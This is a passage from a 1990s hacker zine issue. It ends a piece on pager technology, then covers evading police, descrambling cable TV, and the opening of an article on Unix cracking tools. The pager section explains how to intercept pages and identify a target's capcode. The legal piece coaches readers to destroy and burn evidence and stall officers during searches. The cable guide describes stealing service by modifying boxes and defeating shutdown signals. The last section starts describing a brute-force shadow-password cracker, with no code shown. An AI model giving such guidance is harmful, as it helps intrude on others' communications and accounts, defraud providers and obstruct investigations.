common of these services is delivery of news headlines. Other services
include stock quotes, airline flight information, voice mail and
fax reception notification, and email. Of course, all of these services
are available for a small additional monthly premium.
Email is probably the single coolest thing to have sent to your
alpha pager. (Unless you subscribe to about a zillion mailing lists)
Companies like SkyTel and Radiomail give the user an email address
that automatically forwards to your paging device.
IE: PIN-NUMBER@skymail.com. Several packages exist for forwarding
email from a UNIX system by sending stripping down the email to
pertinent info such as FROM and SUBJECT lines, and executing a script
to send the incoming mail out via a pager terminal data port.
One such program is IXOBEEPER, which can be found with an archie
query.
Radiomail's founder, (and rather famous ex-hacker in his own right - go
look at ancient ComputerWorld headlines), Geoff Goodfellow had devised
such a method back in the late 70's. His program watched for incoming
email, parsed the mail headers, and redirected the FROM and SUBJECT
lines to his alphanumeric pager. Obviously, not many people had
alphanumeric pagers at all, much less email addresses on ARPANET
back in the 70's, so Geoff's email pager idea didn't see much
wide-spread use until much later.
Two RFC's have been issued recently regarding paging and the Internet.
RFC 1568, the Simple Network Paging Protocol, acts similarly to SMTP.
Upon connecting to the SNPP port the user issues commands such as:
PAGE followed by pager telephone number
MESS followed by the alpha or numeric message
SEND
& QUIT
RFC 1568 has met with some opposition in the IETF, who don't consider
it worthwhile to implement a new protocol to handle paging, since it
can be handled easily using other methods.
The other RFC, number 1569, suggests that paging be addressed in a rather
unique manner. Using the domain TPC.INT, which would be reserved for
services that necessitate the direct connection to The Phone Company,
individual pagers would be addressed by their individual phone numbers.
Usernames would be limited to pager-alpha or pager-numeric to represent
the type of pager being addressed. For example, an alpha-page being sent to
1-800-555-1212 would be sent as pager-alpha@2.1.2.1.5.5.5.0.0.8.1.tcp.int.
** PAGING TERMINAL DATA PORTS **
Many services offer modem connections to pager terminals so that
computer users can send pages from their desks using software packages
like WinBeep, Notify! or Messenger. All of these services connect to
the pager terminal and speak to it using a protocol known as
IXO.
Upon connection, a pager terminal identifies itself with the following:
ID=
(I bet you always wondered what the hell those systems were)
Paging terminals default to 300 E71, although many larger companies
now have dialups supporting up to 2400.
Many such systems allow you to manually enter in the appropriate information
by typing a capital "M" and a return at the ID= prompt. The system will then
prompt you for the PIN of the party you wish to page, followed by a prompt
for the message you wish to send, followed by a final prompt asking if you
wish to send more pages. Not every pager terminal will support a manual
entry, but most do.
All terminals support the IXO protocol. As there are far too many
site specific examples within the breadth of IXO, we will concentrate on
the most common type of pager services for our examples.
[ Sample IXO transaction of a program sending the message ABC to PIN 123
gleened from the IXOBeeper Docs ]
Pager Terminal YOU
--------------------------------------------------------------
<CR>
ID=
<ESC>PG1<CR>
Processing - Please Wait
<CR>
<CR>
ACK <CR>
<ESC>[p <CR>
<STX>123<CR>
ABC<CR>
<ETX>17;<CR>
<CR>
ACK <CR>
<EOT><CR>
<ESC>EOT <CR>
The checksum data came from:
STX 000 0010
1 011 0001
2 011 0010
3 001 0011
<CR> 000 1101
A 100 0001
B 100 0010
C 100 0011
<CR> 000 1101
ETX 000 0011
----------------
1 0111 1011
----------------
1 7 ; Get it? Get an ASCII chart and it will all make sense.
Note: Everything in the paging blocks, from STX to ETX inclusive are used
to generate the checksum. Also, this is binary data, guys...you can't
just type at the ID= prompt and expect to have it recognized as IXO.
It wants specific BITS. Got it? Just checking...
** PAGER FREQUENCIES - US **
[Frequencies transmitting pager information are extremely easy to
identify while scanning. They identify each batch transmission
with a two-tone signal, followed by bursts of data. People with
scanners may tune into some of the following frequencies to
familiarize themselves with this distinct audio.]
Voice Pager Ranges: 152.01 - 152.21
453.025 - 453.125
454.025 - 454.65
462.75 - 462.925
Other Paging Ranges: 35.02 - 35.68
43.20 - 43.68
152.51 - 152.84
157.77 - 158.07
158.49 - 158.64
459.025 - 459.625
929.0125 - 931.9875
** PAGER FREQUENCIES - WORLD **
Austria 162.050 - 162.075 T,N,A
Australia 148.100 - 166.540 T,N,A
411.500 - 511.500 T,N,A
Canada 929.025 - 931-975 T,N,A
138.025 - 173.975 T,N,A
406.025 - 511.975 T,N,A
China 152.000 - 172.575 N,A
Denmark 469.750 N,A
Finland 450.225 T,N,A
146.275 - 146.325 T,N,A
France 466.025 - 466.075 T,N,A
Germany 465.970 - 466.075 T,N,A
173.200 T,N,A
Hong Kong 172.525 N,A
280.0875 T,N,A
Indonesia 151.175 - 153.050 A
Ireland 153.000 - 153.825 T,N,A
Italy 466.075 T,N,A
161.175 T,N
Japan 278.1625 - 283.8875 T,N
Korea 146.320 - 173.320 T,N,A
Malaysia 152.175 - 172.525 N,A,V
931.9375 N,A
Netherlands 156.9865 - 164.350 T,N,A
New Zealand 157.925 - 158.050 T,N,A
Norway 148.050 - 169.850 T,N,A
Singapore 161.450 N,A
931.9375 N,A
Sweden 169.8 T,N,A
Switzerland 149.5 T,N,A
Taiwan 166.775 N,A
280.9375 N,A
Thailand 450.525 N,A
172.525 - 173.475 N,A
UK 138.150 - 153.275 T,N,A
454.675 - 466.075 T,N,A
T = Tone
N = Numeric
A = Alphanumeric
V = Voice
** INTERCEPTION AND THE LAW **
For many years the interception of pages was not considered an
invasion of privacy because of the limited information provided
by the tone-only pagers in use at the time. In fact, when
Congress passed the Electronic Communications Privacy Act in 1986
tone-only pagers were exempt from its provisions.
According to the ECPA, monitoring of all other types of paging signals,
including voice, is illegal. But, due to this same law, paging
transmissions are considered to have a reasonable expectation to
privacy, and Law Enforcement officials must obtain a proper court
order to intercept them, or have the consent of the subscriber.
To intercept pages, many LE-types will obtain beepers programmed with
the same capcode as their suspect. To do this, they must contact
the paging company and obtain the capcode associated with the person
or phone number they are interested in. However, even enlisting
the assistance of the paging companies often requires following
proper legal procedures (warrants, subpoenas, etc.).
More sophisticated pager-interception devices are sold by a variety
of companies. SWS Security sells a device called the "Beeper Buster"
for about $4000.00. This particular device is scheduled as
a Title III device, so any possession of it by someone outside
a law enforcement agency is a federal crime. Greyson Electronics
sells a package called PageTracker that uses an ICOM R7100
in conjunction with a personal computer to track and decode pager
messages. (Greyson also sells a similar package to decode
AMPS cellular messages from forward and reverse channels called
"CellScope.")
For the average hacker-type, the most realistic and affordable option
is the Universal M-400 decoder. This box is about 400 bucks and
will decode POCSAG at 512 and 1200, as well as GOLAY (although I've never
seen a paging service using GOLAY.) It also decodes CTCSS, DCS, DTMF,
Baudot, ASCII, SITOR A & B, FEC-A, SWED-ARQ, ACARS, and FAX. It
takes audio input from any scanners external speaker jack, and
is probably the best decoder available to the Hacker/HAM for the price.
Output from the M400 shows the capcode followed by T, N or A (tone, numeric
or alpha) ending with the message sent. Universal suggests hooking
the input to the decoder directly to the scanner before any de-emphasis
circuitry, to obtain the true signal. (Many scanners alter the audio
before output for several reasons that aren't really relevant to this
article...they just do. :) )
Obviously, even by viewing the pager data as it streams by is of little
use to anyone without knowing to whom the pager belongs to. Law Enforcement
can get a subpoena and obtain the information easily, but anyone else
is stuck trying to social engineer the paging company. One other alternative
works quite well when you already know the individuals pager number,
and need to obtain the capcode (for whatever reason).
Pager companies will buy large blocks in an exchange for their customers.
It is extremely easy to discover the paging company from the phone number
that corresponds to the target pager either through the RBOC or by paging
someone and asking them who their provider is when they return your call.
Once the company is known, the frequencies allocated to that company
are registered with the FCC and are public information. Many CD-ROMs
are available with the entire FCC Master Frequency Database.
(Percon sells one for 99 bucks that covers the whole country -
716-386-6015) Libraries and the FCC itself will also have this information
available.
With the frequency set and a decoder running, send a page that will be
incredibly easy to discern from the tidal wave of pages spewing
forth on the frequency. (6666666666, THIS IS YOUR TEST PAGE, etc...)
It will eventually scroll by, and presto! How many important people
love to give you their pager number?
** THE FUTURE **
With the advent of new technologies pagers will become even more
present in both our businesses and private lives. Notebook computers
and PDAs with PCMCIA slots can make use of the new PCMCIA pager cards.
Some of these cards have actual screens that allow for use without the
computer, but most require a program to pull message data out. These
cards also have somewhat large storage capacity, so the length of
messages have the option of being fairly large, should the service
provider allow them to be.
With the advent of 8-bit alphanumeric services, users with PCMCIA pagers
can expect to receive usable computer data such as spreadsheet
entries, word processing documents, and of course, GIFs. (Hey, porno
entrepreneurs: beeper-porn! Every day, you get a new gif sent to your
pagecard! Woo Woo. Sad thing is, it would probably sell.)
A branch of Motorola known as EMBARC (Electronic Mail Broadcast to A
Roaming Computer) was one of the first to allow for such broadcasts.
EMBARC makes use of a proprietary Motorola protocol, rather than
POCSAG, so subscribers must make use of either a Motorola NewsStream
pager (with nifty serial cable) or a newer PCMCIA pager. Messages are
sent to (and received by) the user through the use of special client
software.
The software dials into the EMBARC message switch accessed through
AT&T's ACCUNET packet-switched network. The device itself is used
for authentication (most likely its capcode or serial number)
and some oddball protocol is spoken to communicate with the switch.
Once connected, users have the option of sending a page out, or
retrieving pages either too large for the memory of the pager, or
from a list of all messages sent in the last 24 hours, in case the
subscriber had his pager turned off.
Additionally, the devices can be addressed directly via x.400
addresses. (X.400: The CCITT standard that covers email address
far too long to be worth sending anyone mail to.) So essentially,
any EMBARC customer can be contacted from the Internet.
MTEL, the parent company of the huge paging service SkyTel, is
implementing what may be the next generation of paging technologies.
This service, NWN, being administrated by MTEL subsidiary Destineer,
is most often called 2-way paging, but is more accurately Narrowband-PCS.
The network allows for the "pager" to be a transceiver. When a page
arrives, the device receiving the page will automatically send back
an acknowledgment of its completed reception. Devices may also
send back some kind of "canned response" the user programs. An example
might be: "Thanks, I got it!" or "Why on Earth are you eating up my
allocated pages for the month with this crap?"
MTEL's service was awarded a Pioneers Preference by the FCC, which gave them
access to the narrowband PCS spectrum before the auctions. This is a big
deal, and did not go unnoticed by Microsoft. They dumped cash into the
network, and said the devices will be supported by Chicago. (Yeah,
along with every other device on the planet, right? Plug and Pray!)
The network will be layed out almost identically to MTEL's existing paging
network, using dedicated lines to connect towers in an area to a central
satellite up/downlink. One key difference will be the addition of
highly somewhat sensitive receivers on the network, to pick up the ACKs
and replies of the customer units, which will probably broadcast at
about 2 or 3 watts. The most exciting difference will be the
speed at which the network transmits data: 24,000 Kbps. Twenty-four
thousand. (I couldn't believe it either. Not only can you get your
GIFs sent to your pager, but you get them blinding FAST!) The actual
units themselves will most likely look like existing alphanumeric pagers
with possibly a few more buttons, and of course, PCMCIA units will
be available to integrate with computer applications.
Beyond these advancements, other types of services plan on offering
paging like features. CDPD, TDMA & CDMA Digital Cellular and ESMR
all plan on providing a "pager-like" option for their customers.
The mere fact that you can walk into a K-Mart and buy a pager
off a rack would indicate to me that pagers are far to ingrained into
our society, and represent a wireless technology that doesn't scare
or confuse the yokels. Such a technology doesn't ever really go away.
** BIBLIOGRAPHY **
Kneitel, Tom, "The Secret Life of Beepers," _Popular Communications_,
p. 8, July, 1994.
O'Brien, Michael, "Beep! Beep! Beep!," _Sun Expert_, p. 17, March, 1994.
O'Malley, Chris, "Pagers Grow Up," _Mobile Office_, p. 48, August, 1994.
==Phrack Magazine==
Volume Five, Issue Forty-Six, File 9 of 28
****************************************************************************
Legal Info
by Szechuan Death
OK. This document applies only to United States citizens: if
you are a citizen of some other fascist country, don't come whining
to me when this doesn't work..... :)
Make no mistake: I'm not a lawyer. I've merely paid
attention and picked up some facts that might be useful to me along
the way. There are three subjects that it pays to have a knowledge
of handy: prescription drugs, medical procedures, and legal facts.
While these may all be boring as hell, they can certainly pull your
ass out of the fire in a pinch.
Standard disclaimer: I make no claims about this document or
facts contained therein. I also make no claims about their legal
authenticity: if you want to be 100% sure, there's a library in
damn near every town, LOOK IT UP!
One more thing: This document is useful for virtually
ANYTHING. It's effectiveness stretches far beyond computer hacking
(although it's worn a bit thin for serious crimes, as every cretin
on Death Row has tried it already.....:)
OK. Let's say, just for the sake of argument, that you've
decided to take a walk along the wild side and do something
illegal. For our purposes, let's say computer hacking (imagine
that). There are many things you can do cover your legal ass,
should your activities come to the attention of any of our various
friendly law-enforcement agencies nationwide.
-- Part 1: Police Mentality
You must understand the police, if you ever want to be able to
thwart them and keep your freedom. Most police, to survive in
their jobs, have developed an "Us vs. Them" attitude, which we
should tolerate (up to a point). They use this attitude to justify
their fascist tactics. "Us" is the police, a brotherhood that
keeps the peace, always does right, and never snitches on each
other, no matter what the cause. "Them" is the rest of the
population. If "They" are not guilty of a specific crime, they
must have done something else, and they're doing their damndest to
avoid getting caught. In addition, many police have cultivated an
attitude similar to that of a 15-year-old high school punk: "I'm
bad, I'm bad, I'm SOOOOO bad, I Am Cop, Hear Me ROAR," etc.
Unfortunately, these people have weapons and the authority to
support that attitude. Therefore, if the police come to your
house, be EXTREMELY polite and subservient; now is not the time to
start spouting your opinion about the police state in America
today. Also, DO NOT RESIST THEM IF THEY ARREST YOU. Besides
adding a charge of "Resisting Arrest" and/or "Assaulting an
Officer", it can get very dangerous. The police have been trained
in a number of suspect-control techniques, most of which involve
twisting body parts at unnatural angles. As if this weren't
enough, almost all police carry guns. Start fighting and you'll
get a couple broken bones, torn ligaments, or worse, a few bullet
wounds (possibly fatal). So remember, be very meek. Show them
that you are cowed by their force and their blustering presence,
and this will save you a black eye or two on the way down to the
station (from tripping and falling, of course).
-- Part 2: Hacker's Security
CARDINAL RULE #1: Get rid of the evidence. No evidence = no
case for the prosecutor. The Novice Hacker's Guide from LOD has an
excellent way to put this:
VIII. Don't be afraid to be paranoid. Remember, you *are* breaking the law.
It doesn't hurt to store everything encrypted on your hard disk, or
keep your notes buried in the backyard or in the trunk of your car. You
may feel a little funny, but you'll feel a lot funnier when you when you
meet Bruno, your transvestite cellmate who axed his family to death.
Basic hints:
Hide all your essential printouts, or burn them if they're trash
(remember: police need no warrant to search your trash). Encrypt
the files on your hard drive with something nasty, like PGP or RSA.
Use a file-wiper, NOT delete, to get rid of them when you're done.
And WIPE, don't FORMAT, your floppies and other magnetic media
(better still, degauss them). With a little common sense and a bit
of effort, a great deal of legal headaches can be avoided.
-- Part 3A: Polite Entry
Next part. You and your friends are enjoying an evening of
trying to polevault the firewall on whitehouse.com, when suddenly
you hear a knock at the door. Opening the door, you find a member
of the local police force standing outside, asking if he can come
in and ask you some questions. Now, here's where you start to piss
your pants. If you were smart, you'll have arranged something
beforehand where your friends (or, if there ARE no friends present,
an automatic script) are getting rid of the evidence as shown in
part 2. If you have no handy means of destroying the data
(printouts, floppies, tapes, etc.), throw the whole mess into
the bathtub, soak it in lighter fluid, and torch it. It's a
helluva mess to clean up, but nothing compared to latrine duty at
your nearest federal prison.
While the evidence is being destroyed, you're stalling the
police. Ask to see their search warrant and IDs. Mull over each
and every one of them for at least 5 minutes. If they have none,
start screaming about your 4th Amendment rights. Most importantly:
DON'T INVITE THEM IN. They're like vampires: if you let them in,
you're fucked. If they see anything even REMOTELY incriminating,
that constitutes probable cause for a search and they'll be
swarming all over your house like flies on shit. (And guess what!
It's legal, because YOU LET THEM IN!) Now, be aware that this
won't stall them forever: they can simply wait outside the house
and radio in a request for a search warrant, which will probably be
signed by the judge on duty at that time. Remember: "If you're
not willing to be searched, you MUST have something to hide!" If
there are no friends assisting you, as shown above, USE THIS TIME
EFFECTIVELY. When they get the warrant signed, that will be too
late, because you'll have erased/shredded/burned/hidden/etc. all
the incriminating evidence.
-- Part 3B: And Suddenly, The Door Burst In
Now, if the police already have a search warrant, they don't
need to knock on the door. They can simply kick the door down and
waltz in. If you're there at the time, you CAN try and stall them
as shown above, by asking to see their search warrant and IDs.
This may not work now, because they have you cold, hard, and dead
to rights. And, if anything incriminating is in a place where they
can find it, you're fucked, because it WILL be used as evidence.
But this won't happen to you, because you've already put everything
you're not using right at the moment in a safe, HIDDEN, place.
Right?
This leaves the computer. If you hear them kicking the door
in, keep calm, and run a script you've set up beforehand to low-
level-format the drive, wipe all hacking files, encrypt the whole
thing, etc. If there's any printouts or media hanging out, try and
hide them (probably worthless anyway, but worth a try). The name
of the game now is to minimize the damage that can be done to you.
The less hard evidence linking you to the "crime", the less of a
case the prosecutor will have and the better off you'll be.
-- Part 4: The Arrest
Now is the time to kick all your senses into hyper-record
mode. For you to get processed through the system without a hitch,
the arrest has to go perfectly, by the numbers. One small slip and
you're out through a loophole. Now, the police are aware of this
and will be doing their best to see that doesn't happen, but you
may get lucky all the same. First of all: According to the
Miranda Act, the police are REQUIRED BY LAW to read you your rights
and make sure you understand them. Remember EVERY WORD THEY SAY TO
YOU. If they don't say it correctly, you may be able to get off on
a technicality.
CARDINAL RULE #2: You have the right to remain silent.
EXERCISE IT. This cannot be stressed enough. If you need a
reminder, listen to the first part of the Miranda Warning:
"You have the right to remain silent. If you give up that
right, ANYTHING YOU SAY CAN AND WILL BE USED AGAINST YOU IN A COURT
OF LAW."
Nice ring to it, hmm? The only words coming out of your mouth
at this point should be "I'd like to speak to my attorney, please"
and, if applicable in your area, "I'd like to make a phone call,
please" (remember the "please's," see part #1 above) Nothing
else. There are tape recorders, video cameras, PLUS the word of a
dozen police officers to back it all up. How's that for an array
of damning evidence against you?
Then, after the ride downtown, you'll be booked and probably
asked a few questions. Say nothing. You're probably pissing your
pants with fear at this point, and may be tempted to roll over on
everyone you ever shook hands with in your whole life, but keep
your calm, and KEEP QUIET. Keep asking for your attorney and/or a
phone call, no matter WHAT threats/deals/etc. they make to you.
Remember, they can't legally interrogate you without your attorney
present. You may also be tempted to show your mettle at this
point, and give them false information, but remember one thing: If
you lie to them, you can be convicted of perjury (a nasty offense
itself). The best policy here is NSA: Never Say Anything.
Remember, you never have to keep track of what you've said, or have
to worry about having it used against you, if you've said NOTHING.
-- Part 5: The Trial
Here, we'll assume you've been arrested, booked, let out on
bail, indicted on X counts of so-and-so, etc. You're now in the
system. CARDINAL RULE #3: Get the best criminal defense attorney
you can afford, preferably one with some background in the crime
you've committed. No, scratch that: make that the best criminal
defense attorney, PERIOD. It's a helluva lot better to spend 5
years working at McDonald's 12 hours a day to pay back your legal
fee, than it is to spend 5 years in the slammer getting pimped out
nightly for a pack of menthols. Also, pay attention during the
trial. Remember, the defense attorney is working for YOU: it's
YOUR life they're deciding, so give him every bit of information
and help you can. You're paying him to sort it out for you, but
you should still keep an eye on things: if, in the middle of a
trial, something happens (you get a killer idea, or want to jump up
and scream "BULLSHIT!"), TELL HIM! It very well might be useful!
Also, have him nitpick every single thing for loopholes,
technicalities, civil rights violations, etc. It's worth it if it
pays off.
Another important thing is to look good. Image is everything.
Although you might prefer to wear heavily stained rock-band T-
shirts, leather jackets, ratty jeans, etc. in real life, that will
be EXTREMELY damning in the eyes of the judge/jury. They say that
clothes make the man, and in this case it's REALLY true: get a
suit, comb/cut your hair, shave, etc. Make yourself look like a
"positively respectable darling" in the eyes of the court! It'll
pay off for you. (hey, it worked for Eric and Lyle Menendez)
-- Part 8: The Prison
If you're here, you're totally fucked. Unless, by divine
intervention, your conviction is overturned on appeal, you'd better
clear up the next 5 years on your calendar. Apparently, you didn't
read closely enough, so read this every day during your long stay
in prison, and you'll be better equipped next time (assuming there
IS a next time..... :)
Remember the cardinal rules: 1) Don't leave evidence around
to be found. 2) KEEP CALM AND KEEP QUIET. 3) Get the best
attorney available. If you remember these, and exercise some common
sense and a lot of caution, you should have no problem handling any
legal problems that come up.
Note: This is intended to be used as a handbook for defense
from minor crimes ONLY (hacking, DWI, etc.) If you're a career
criminal, or you've murdered or raped somebody, you're scum, and at
least have the grace to plead "guilty". Don't waste the tax-
payers' time and money with fancy legal footwork.
Please feel free to add anything or correct this document.
However, if you DO add or correct something, PLEASE make sure it's
true, and PLEASE email me the changes so I can include them in the next
revision of the document. My address is pstlb@acad3.alaska.edu. Happy
hacking to all, and if this helps you avoid getting caught, so much the
better. :)
==Phrack Magazine==
Volume Five, Issue Forty-Six, File 10 of 28
****************************************************************************
/**************************/
/* A Guide to Porno Boxes */
/* by Carl Corey */
/**************************/
Keeping with tradition, and seeing that this is the first article in
Phrack on cable TV descrambling, any illegal box for use in descrambling
cable television signals is now known as a PORNO BOX.
There are many methods that cable companies use to insure that you get
what you pay for - and _only_ what you pay for. Of course, there are
always methods to get 'more than you pay for'. This file will discuss
the most important aspects of these methods, with pointers to more
detailed information, including schematics and resellers of equipment.
Part I. How the cable company keeps you from getting signals
A brief history
---Older Systems---
Most scrambling methods are, in theory, simple. The original method
used to block out signals was the trap method. All traps remove signals
that are sent from the CATV head end (the CATV company's station). The
first method, which is rarely used anymore was the negative trap.
Basically, every point where the line was dropped had these traps, which
removed the pay stations from your signal. If you decided to add a pay
station, the company would come out and remove the trap. This method was
pretty secure - you would provide physical evidence of tampering if you
climbed the pole to remove them or alter them (sticking a pin through
them seemed to work randomly, but could affect other channels, as it
shifts the frequency the trap removes.) This was a very secure system,
but did not allow for PPV or other services, and required a lot of
physical labor (pole-climbers aren't cheap). The only places this is
used anymore is in an old apartment building, as one trip can service
several programming changes. Look for a big gray box in the basement
with a lot of coax going out. If you are going to give yourself free
service, give some random others free service to hide the trail.
The next method used was termed a positive trap. With this method, the
cable company sends a _very_ strong signal above the real signal. A
tuner sees the strong signal, and locks onto the 'garbage' signal. A
loud beeping and static lines would show up on the set. For the CATV
company to enable a station, they put a 'positive' trap on the line,
which (despite the name) removes the garbage signal. Many text files
have been around on how to descramble this method (overlooking the
obvious, buying a (cheap) notch filter), ranging from making a crude
variable trap, to adding wires to the cable signal randomly to remove the
signal. This system is hardly used anymore, as you could just put a trap
inside your house, which wouldn't be noticed outside the house.
---Current Systems---
The next advent in technology was the box. The discussion of different
boxes follows, but there is one rather new technology which should be
discussed with the traps. The addressable trap is the CATV's dream. It
combines the best features of the negative trap (very difficult to tamper
with without leaving evidence) with features of addressable boxes (no
lineman needs to go out to add a service, computers can process Pay Per
View or other services). Basically, a 'smart trap' sits on the pole and
removes signals at will. Many systems require a small amp inside the
house, which the cable company uses to make sure that you don't hook up
more than one TV. I believe that the new CATV act makes this illegal,
and that a customer does not have to pay for any extra sets (which do not
need equipment) in the house. Of course, we all know that the cable TV
company will do whatever it wants until it is threatened with lawsuits.
Cable boxes use many different methods of descrambling. Most are not in
use anymore, with a few still around, and a few around the corner in the
future. The big thing to remember is sync suppression. This method is
how the cable companies make the picture look like a really fucked up,
waving Dali painting. Presently the most popular method is the Tri-mode
In-band Sync suppression. The sync signal is suppressed by 0, 6, or 10
dB. The sync can be changed randomly once per field, and the information
necessary for the box to rebuild a sync signal. This very common system
is discussed in Radio-Electronics magazine in the 2/87 issue. There are
schematics and much more detailed theory than is provided here.
The other common method currently used is SSAVI, which is most common on
Zenith boxes. It stands for Sync Suppression And Video Inversion. In
addition to sync suppression, it uses video inversion to also 'scramble'
the video. There is no sync signal transmitted separately (or reference
signal to tell the box how to de-scramble) as the first 26 lines (blank,
above the picture) are not de-synched, and can be re-synched with a
phased lock loop - giving sync to the whole field. The data on inversion
is sent somewhere in the 20 or 21st line, which is outside of the
screen. Audio can be scrambled too, but it is actually just moved to a
different frequency. Radio Electronics August 92 on has circuits and
other info in the Drawing Board column.
---Future Systems-
For Pioneer, the future is now. The system the new Pioneers use is
patented and Pioneer doesn't want you to know how it works. From the
patent, it appears to use combinations of in-band, out-band, and keys
(also sending false keys) to scramble and relay info necessary to
descramble. These boxes are damn slick. The relevant patents are US
#5,113,411 and US #4,149,158 if you care to look. There is not much
information to be gained from them. Look for future updates to this
article with info on the system if I can find any :)
Other systems are the VideoCipher + (used on satellites now - this is
scary shit.) It uses DES-encrypted audio. DigiCable and DigiCipher are
similar, with Digi encrypting the video with DES also (yikes)... And
they all use changing keys and other methods. Oak Sigma converters use
similar methods which are available now on cable. (digital encryption of
audio, etc...)
Part II. How the cable company catches you getting those signals
There are many methods the CATV company can use to catch you, or at
least keep you from using certain methods.
Market Code: Almost _all_ addressable decoders now use a market code.
This is part of the serial number (which is used for pay
per view addressing) which decodes to a general geographic
region. Most boxes contain code which tell it to shut
down if it receives a code (which can be going to any box
on the cable system) which is from a different market area.
So if you buy a converter that is say, market-coded for
Los Angeles, you won't be able to use it in New York.
Bullets: The bullet is a shut down code like above - it will make
your box say 'bAh' and die. The method used most is for
the head end to send messages to every box they know of
saying 'ignore the next shutdown message' ... and once
every (legit) box has this info, it sends the bullet.
The only boxes that actually process the bullet are ones
which the CATV system doesn't know about. P.S. Don't
call the cable company and complain about cable if you
are using an illegal converter - and be sure to warn
anyone you live with about calling the CATV co. also.
Leak Detection: The FCC forces all cable companies to drive around and
look for leaks - any poor splice jobs (wiring your house
from a neighbors without sealing it up nice) and some
descramblers will emit RF. So while the CATV is looking
for the leaks, they may catch you.
Free T-Shirts: The cable company can, with most boxes, tell the box to
display a different signal. So they can tell every box
they know of (the legit box pool) to display a commercial
on another channel, while the pirate boxes get this real
cool ad with an 1800 number for free t-shirts... you call,
you get busted. This is mostly done during PPV boxing or
other events which are paid for - as the company knows
exactly who should get that signal, and can catch even
legit boxes which are modified to receive the fight.
Your Pals: Programs like "Turn in a cable pirate and get $100" let
you know who your friends _really_ are.
Part III: How to get away with it.
I get a lot of questions about opening a box that you own. This is not
a good idea. Most, if not ALL boxes today have a tamper sensor. If you
open the box, you break a tab, flip a switch, etc... This disables the
box and leaves a nice piece of evidence for the CATV co. to show that you
played with it.
I also have had questions about the old "unplug the box when it is
enabled, then plug it back in later"... The CATV company periodically
sends a signal to update all the boxes to where they should be. If you
want to do this, you'll need to find out where the CATV sends the address
information, and then you need to trap it out of the signal. So as soon
as the fraudulent customer (let's call him Chris) sees his box get the
signal to receive the PPV porn channel, he installs the trap and now his
box will never get any pay per view signals again... but he'll always
have whatever he was viewing at the time he put the trap in. Big problem
here is that most _newer_ systems also tell the box how long it can
descramble that channel - i.e. "Watch SPICE until I tell you not to, or 3
hours have passed"...
Where to make/buy/get porno boxes:
You can order a box which has been modified not to accept bullets. This
method is pretty expensive. You can also get a 'pan' descrambler - it is
a separate piece that takes whatever goes in on channel 3 (or 2 or 4) and
descrambles it. These boxes can't be killed by the bullets, and work
pretty well. There are some pans which are made by the same company as
your cable box and are sensitive to bullets, so beware.
There are two basic ideas for modifying a box (provided you get detailed
instructions on how to get it open, or how to fix it once you open it).
You can change the S/N to something which is known as 'universal' or
disassemble the code and remove the jump to the shutdown code.
The universal codes are rare, and may be extinct. Besides, if the cable
company finds out your code, they can nuke it. This happens when someone
who makes (err made) 'universal' chips gets busted. The modification of
the actual code is the best way to do it, just forcing a positive
response to permission checks is the easiest way.
A 'cube' is not a NeXT, it's a device which removes the data signal from
the cable line, and inserts a 'nice' data signal which tells your box to
turn everything on. A 'destructive' cube actually re-programs all the
boxes below it to a new serial number and gives that number full
privileges, while a 'non-destructive' cube needs to know your boxes
serial number, so it can tell your box (without modifications) that it
can view everything. You have to get a new IC if you change boxes, but
the plus is that you can remove the cube and the box functions as
normal. Then again, you have to trust the place you are ordering the
cube from to not be working for the cable company, as you have to give
them your box serial number - which the CATV cable has in their records.
Cubes have been seen for sale in the back of Electronics Now (formerly
Radio Electronics).
Of course, you could check in the above mentioned articles and build
circuitry, it would be a lot cheaper. The only problem is that you have
to be good enough not to fuck it up - TV signals are very easy to fuck up.
Then there is the HOLY GRAIL. Most scrambling systems mess with the sync
pulse. This pulse is followed by the colorburst signal on NTSC video.
Basically, the grail finds the colorburst and uses it as a reference
signal. In theory, it works wonderfully (but does not fix the video
inversion problems found on SSAVI systems). However, with the sync pulse
whacked, the colorburst method may give weak color or color shifts. The
schematics are in the May 1990 Radio-Electronics. I have also received
email from aa570@cleveland.Freenet.Edu about his colorburst kit, which is
a modified (supposedly higher quality) version of the R-E schematics.
The schematic and parts list is 5 bucks, 16 bucks for a pre-drilled and
etched board. A little steep, but not too bad. E-mail the above for
more information.
Anyway, that's all for now. Remember, information (including XXX movies)
wants to be free!
Carl Corey / dEs
==Phrack Magazine==
Volume Five, Issue Forty-Six, File 11 of 28
****************************************************************************
***********************************
* Unix Hacking Tools of the Trade *
* *
* By *
* *
* The Shining/UPi (UK Division) *
***********************************
Disclaimer :
The following text is for educational purposes only and I strongly suggest
that it is not used for malicious purposes....yeah right!
Introduction :
Ok, I decided to release this phile to help out all you guys who wish to
start hacking unix. Although these programs should compile & run
on your system if you follow the instructions I have given, knowing a bit
of C will come in handy if things go wrong. Other docs I suggest you read
are older 'phrack' issues with shooting sharks various articles on unix,
and of course, 'Unix from the ground up' by The Prophet.
This article includes three programs, a SUNOS Brute force Shadow password
file cracker, The Ultimate Login Spoof, and a Unix Account Validator.
Shadow Crack
------------
SUNOS Unix brute force shadow password file cracker
---------------------------------------------------
Well, a while back, I saw an article in phrack which included a brute force
password cracker for unix. This was a nice idea, except that these days
more and more systems are moving towards the shadow password scheme. This,
for those of you who are new to unix, involves storing the actual encrypted
passwords in a different file, usually only accessible to root. A typical
entry from a System V R4 password file looks like this :-
root:x:0:1:Sys. admin:/:/bin/sh
with the actual encrypted password replaced by an 'x' in the /etc/passwd
file. The encrypted password is stored in a file(in the case of sysV)
called /etc/shadow which has roughly the following format :-
root:XyfgFekj95Fpq:::::
this includes the login i.d., the encrypted password, and various other
fields which hold info on password ageing etc...(no entry in the other
fields indicate they are disabled).
Now this was fine as long as we stayed away from system V's, but now a
whole load of other companies have jumped on the bandwagon from IBM (aix)
to Suns SUNOS systems. The system I will be dealing with is SUNOS's
shadowed system. Now, like sysV, SUNOS also have a system whereby the
actual encrypted passwords are stored in a file usually called
/etc/security/passwd.adjunct, and normally this is accessible only by root.
This rules out the use of brute force crackers, like the one in phrack
quite a while back, and also modern day programs like CRACK. A typical
/etc/passwd file entry on shadowed SUNOS systems looks like this :-
root:##root:0:1:System Administrator:/:/bin/csh
with the 'shadow' password file taking roughly the same format as that of
Sys V, usually with some extra fields.
However, we cannot use a program like CRACK, but SUNOS also supplied a
function called pwdauth(), which basically takes two arguments, a login
name and decrypted password, which is then encrypted and compared to the
appropriate entry in the shadow file, thus if it matches, we have a valid
i.d. & password, if not, we don't.
I therefore decided to write a program which would exploit this function,
and could be used to get valid i.d's and passwords even on a shadowed
system!
To my knowledge the use of the pwdauth() function is not logged, but I could
be wrong. I have left it running for a while on the system I use and it has
